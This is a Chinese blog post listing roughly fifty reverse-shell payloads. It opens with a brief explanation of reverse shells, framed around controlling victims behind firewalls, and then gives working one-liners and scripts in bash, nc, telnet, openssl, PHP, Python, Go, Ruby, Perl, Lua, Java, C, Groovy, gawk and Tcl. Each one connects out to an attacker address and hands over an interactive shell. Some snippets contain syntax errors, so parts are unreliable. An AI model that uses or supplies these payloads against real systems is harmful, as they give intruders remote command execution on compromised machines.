容器内反弹shell的51种姿势

本文介绍了反弹shell(reverse shell),它是控制端监听端口,被控端发起请求并将命令行输入输出转到控制端,与标准shell角色反转。常用于被控端受限情况,还列举了正向连接不可用的场景。此外,介绍了以bash为例的原生方式,以及工具类、程序类的实现方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

原生 (以bash为例)

#!/bin/bash
bash -c '...' 2> /dev/null

tcp

#!/bin/bash
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1
#!/bin/bash
# 使用域名
bash -i >& /dev/tcp/host.domain/65535 0>&1
#!/bin/bash
0<&196;
exec 196<>/dev/tcp/192.168.0.1/65535;
bash <&196 >&196 2>&196

udp

#!/bin/bash
bash -i >& /dev/udp/192.168.0.1/65535 0>&1
#!/bin/bash
# 使用域名
bash -i >& /dev/udp/host.domain/65535 0>&1
#!/bin/bash 
0<&196;
exec 196<>/dev/udp/192.168.0.1/65535;
bash <&196 >&196 2>&196

工具类

NC

#!/bin/bash 
nc -e /bin/bash 192.168.0.1 65535
#!/bin/bash 
/bin/bash | nc 192.168.0.1 65535
#!/bin/bash 
nc 192.168.0.1 65535 |/bin/bash
#!/bin/bash 
rm -f /tmp/p; 
mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/
#!/bin/bash 
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f

NCat

#!/bin/bash
ncat 192.168.1.215 3000 -e /bin/bash

Telnet

#!/bin/bash
telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535
#!/bin/bash
mknod backpipe p && telnet 192.168.0.1 65535 0<backpipe | /bin/bash 1>backpipe

OpenSSL

#!/bin/bash
mkfifo /tmp/s;
/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:65535 > /tmp/s; rm /tmp/s

cryptcat

#!/bin/bash
cryptcat 192.168.0.1 65534 -k sec|cmd.exe|cryptcat 192.168.0.1 65535 -k sec

程序类

PHP

php -r "..."
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '192.168.0.1';
$port = '65535';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname() 
if($os == 'WIN') {
	$env = array('path' => 'c:\\windows\\system32');
} else {
	$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}

if(function_exists('fsockopen')) {
	$sock = fsockopen($ipaddr,$port);
	fwrite($sock,$msg);
	while ($cmd = fread($sock,1024)) {
		if (substr($cmd,0,3) == 'cd ') {
			$cwd = trim(substr($cmd,3,-1));
			chdir($cwd);
			$cwd = getcwd();
		}
		if (trim(strtolower($cmd)) == 'exit') {
			break;
		} else {
			$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
			if (is_resource($process)) {
				fwrite($pipes[0],$cmd);
				fclose($pipes[0]);
				$msg = stream_get_contents($pipes[1]);
				fwrite($sock,$msg);
				fclose($pipes[1]);
				$msg = stream_get_contents($pipes[2]);
				fwrite($sock,$msg);
				fclose($pipes[2]);
				proc_close($process);
			}
		}
	}
	fclose($sock);
} else {
	$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
	socket_connect($sock,$ipaddr,$port);
	socket_write($sock,$msg);
	fwrite($sock,$msg);
	while ($cmd = socket_read($sock,1024)) {
		if (substr($cmd,0,3) == 'cd ') {
			$cwd = trim(substr($cmd,3,-1));
			chdir($cwd);
			$cwd = getcwd();
		}
		if (trim(strtolower($cmd)) == 'exit') {
			break;
		} else {
			$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
			if (is_resource($process)) {
				fwrite($pipes[0],$cmd);
				fclose($pipes[0]);
				$msg = stream_get_contents($pipes[1]);
				socket_write($sock,$msg,strlen($msg));
				fclose($pipes[1]);
				$msg = stream_get_contents($pipes[2]);
				socket_write($sock,$msg,strlen($msg));
				fclose($pipes[2]);
				proc_close($process);
			}
		}
	}
	socket_close($sock);
}
?>
#!/bin/bash
php -r "error_reporting(E_ERROR);ignore_user_abort(true);ini_set('max_execution_time',0);\$os=substr(PHP_OS,0,3);\$ipaddr='192.168.0.1';\$port='65535';\$descriptorspec=array(0=>array(\"pipe\",\"r\"),1=>array(\"pipe\",\"w\"),2=>array(\"pipe\",\"w\"));\$cwd=getcwd();\$msg=php_uname()if(\$os=='WIN'){\$env=array('path'=>'c:\\windows\\system32');}else{\$env=array('path'=>'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}if(function_exists('fsockopen')){\$sock=fsockopen(\$ipaddr,\$port);fwrite(\$sock,\$msg);while(\$cmd=fread(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);fwrite(\$sock,\$msg);fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);fwrite(\$sock,\$msg);fclose(\$pipes[2]);proc_close(\$process);}}}fclose(\$sock);}else{\$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect(\$sock,\$ipaddr,\$port);socket_write(\$sock,\$msg);fwrite(\$sock,\$msg);while(\$cmd=socket_read(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[2]);proc_close(\$process);}}}socket_close(\$sock);}"
<?php
$sock=fsockopen("192.168.0.1"65535);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
#!/bin/bash
php -r "\$sock=fsockopen(\"192.168.0.1\",65535);exec(\"/bin/bash -i <&3 >&3 2>&3\");"
<?php
exec("/bin/bash -i >& /dev/tcp/192.168.0.1/65535");
?>
#!/bin/bash
php -r "exec(\"/bin/bash -i >& /dev/tcp/192.168.0.1/65535\");"

Python

#!bin/bash
python -c "..."
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket()
s.connect(("192.168.0.1",65535))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
#!/bin/bash
python -c "import socket,subprocess,os;s=socket.socket();s.connect((\"192.168.0.1\",65535));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"])"
#!usr/bin/python
import sys,socket,os,pty;
s=socket.socket()
s.connect(("192.168.0.1",65535))
for fd in (0,1,2):
	os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")
#!/bin/bash
python -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.0.1\",65535));for fd in (0,1,2):os.dup2(s.fileno(),fd);pty.spawn(\"/bin/bash\");"
#!/usr/bin/python
import socket, subprocess
s = socket.socket()
s.connect(('192.168.0.1',65535))
while 1:  
	proc = subprocess.Popen(s.recv(1024),\
							shell=True,\
							stdout=subprocess.PIPE,\
							stderr=subprocess.PIPE,\
							stdin=subprocess.PIPE\
							)
	s.send(proc.stdout.read()+proc.stderr.read())
#!/usr/bin/python
import os
os.system('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')

GoLang

echo '...' > /tmp/t.go
package main;
import"os/exec";
import"net";
func main()
{
	c,_:=net.Dial("tcp","192.168.0.1:65535");
	cmd:=exec.Command("/bin/bash");
	cmd.Stdin=c;
	cmd.Stdout=c;
	cmd.Stderr=c;
	cmd.Run()}
package main
import (
	"log"
	"os/exec"
)
func main() {
	cmdline := "exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"
	cmd := exec.Command("/bin/bash", "-c", cmdline)
	bytes, err := cmd.Output()
	if err != nil {
		log.Println(err)
	}
	resp := string(bytes)
	log.Println(resp)
}
package main
import (
	os/exec
)
func main(){
	cmdline := "bash -i >& /dev/tcp/192.168.0.1/65535 0>&1"
	cmd := exec.Command("/bin/bash", "-c", cmdline)
#!/bin/bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.215:3000");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Ruby

ruby -rsocket -e '...'
#!/usr/bin/ruby
require 'socket'
require 'open3'
	#Set the Remote Host IP
RHOST = "192.168.0.1" 
#Set the Remote Host Port
PORT = "65535"
	#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets
	Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
			IO.copy_stream(stdout_and_stderr, sock)
			end  
end
rescue
retry
end
#!/usr/bin/ruby
exit if fork;c=TCPSocket.new("192.168.0.1","65535");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
#!/usr/bin/ruby
exec 'bash -i >& /dev/tcp/192.168.0.1/65535 0>&1'
#!/bin/bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.215","3000");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Perl

#!/bin/bash
perl -e '...'
perl -MIO -e '...'
#!/usr/bin/perl
use Socket;
$i="192.168.0.1";
$p=65535;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");
	exec("/bin/bash -i");
};
#!/usr/bin/perl
$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.1:65535");
STDIN->fdopen($c,r);
$~->fdopen($c,w);
system$_ while<>;
#!/usr/bin/perl
exec('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
#!/bin/bash
perl -e 'use Socket;$i="192.168.1.215";$p=3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#!/bin/bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.215:3000");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Lua

lua -e '...'
#!/usr/bin/lua
local host, port = "192.168.0.1", 65535 
local socket = require("socket") 
local tcp = socket.tcp() 
local io = require("io") 
tcp:connect(host, port); 
while true 
	do local cmd, status, partial = tcp:receive() 
	local f = io.popen(cmd, "r") 
	local s = f:read("*a") 
	f:close()
	tcp:send(s) 
	if status == "closed" 
		then break 
		end 
	end 
tcp:close()
#!/usr/bin/lua
local socket=require('socket');
require('os');
t=socket.tcp();
t:connect('192.168.0.1','65535');
os.execute('/bin/bash -i <&3>&3 2>&3')
local io = require('io')
io.popen('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
#!/bin/bash
lua -e "local socket=require('socket');require('os');t=socket.tcp();t:connect('192.168.1.215','3000');os.execute('/bin/sh -i <&3>&3 2>&3');"

Java

echo '...' > /tmp/t.java
public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

C

echo '...' > /tmp/t.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
void usage();
char shell[]="/bin/bash";
char message[]="hacker welcome\n";
int sock;
int main(int argc, char *argv[]) {
	if(argc <3){
	usage(argv[0]);
	}

	struct sockaddr_in server;
	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
	printf("Couldn't make socket!n"); exit(-1);
	}

	server.sin_family = AF_INET;
	server.sin_port = htons(65535);
	server.sin_addr.s_addr = inet_addr("192.168.0.1");

	if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
	printf("Could not connect to remote shell!n");
	exit(-1);
	}
	send(sock, message, sizeof(message), 0);
	dup2(sock, 0);
	dup2(sock, 1);
	dup2(sock, 2);
	execl(shell,"/bin/bash",(char *)0);
	close(sock);
	return 1;
	}
	void usage(char *prog[]) {
	printf("Usage: %s <reflect ip> <port>n", prog);
	exit(-1);
	}
#include <stdlib.h>
	int main(int argc, char *argv[])
{
    system(“bash -i >& /dev/tcp/192.168.0.1/65535 0>&1);
    return 0;
}

Groovy

echo '...' > /tmp/t
class ReverseShell {
static void main(String[] args) {
		String host="192.168.0.1";
		int port=65535;
		String cmd="/bin/bash";
		Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
		Socket s=new Socket(host,port);
		InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
		OutputStream po=p.getOutputStream(),so=s.getOutputStream();
		while(!s.isClosed()){
			while(pi.available()>0)
				so.write(pi.read());
			while(pe.available()>0)
				so.write(pe.read());
			while(si.available()>0)
				po.write(si.read());
			so.flush();
			po.flush();
			Thread.sleep(50);
			try {
				p.exitValue();
				break;
				}
				catch (Exception e){}
			};
			p.destroy();
			s.close();
	}
}

awk/gawk

#!/bin/bash
awk "..."
#gawk "..."
BEGIN{
	s="/inet/tcp/0/192.168.0.1/65535";
	while(1){
		do{
			s|&getline c;
			if(c){
				while((c|&getline)>0)
					print $0|&s;
					close(c)
			}
		}
		while(c!="exit");
		close(s)
	}
}

TCL脚本

echo '...' |tclsh
set s [socket 192.168.0.1 65535];
while 42 {
	puts -nonewline $s "shell>";
	flush $s;
	gets $s c;
	set e "exec $c";
	if {![catch {set r [eval $e]} err]} {
		puts $s $r 
		};
		flush $s;
	}; 
	close $s;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MXi4oyu

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值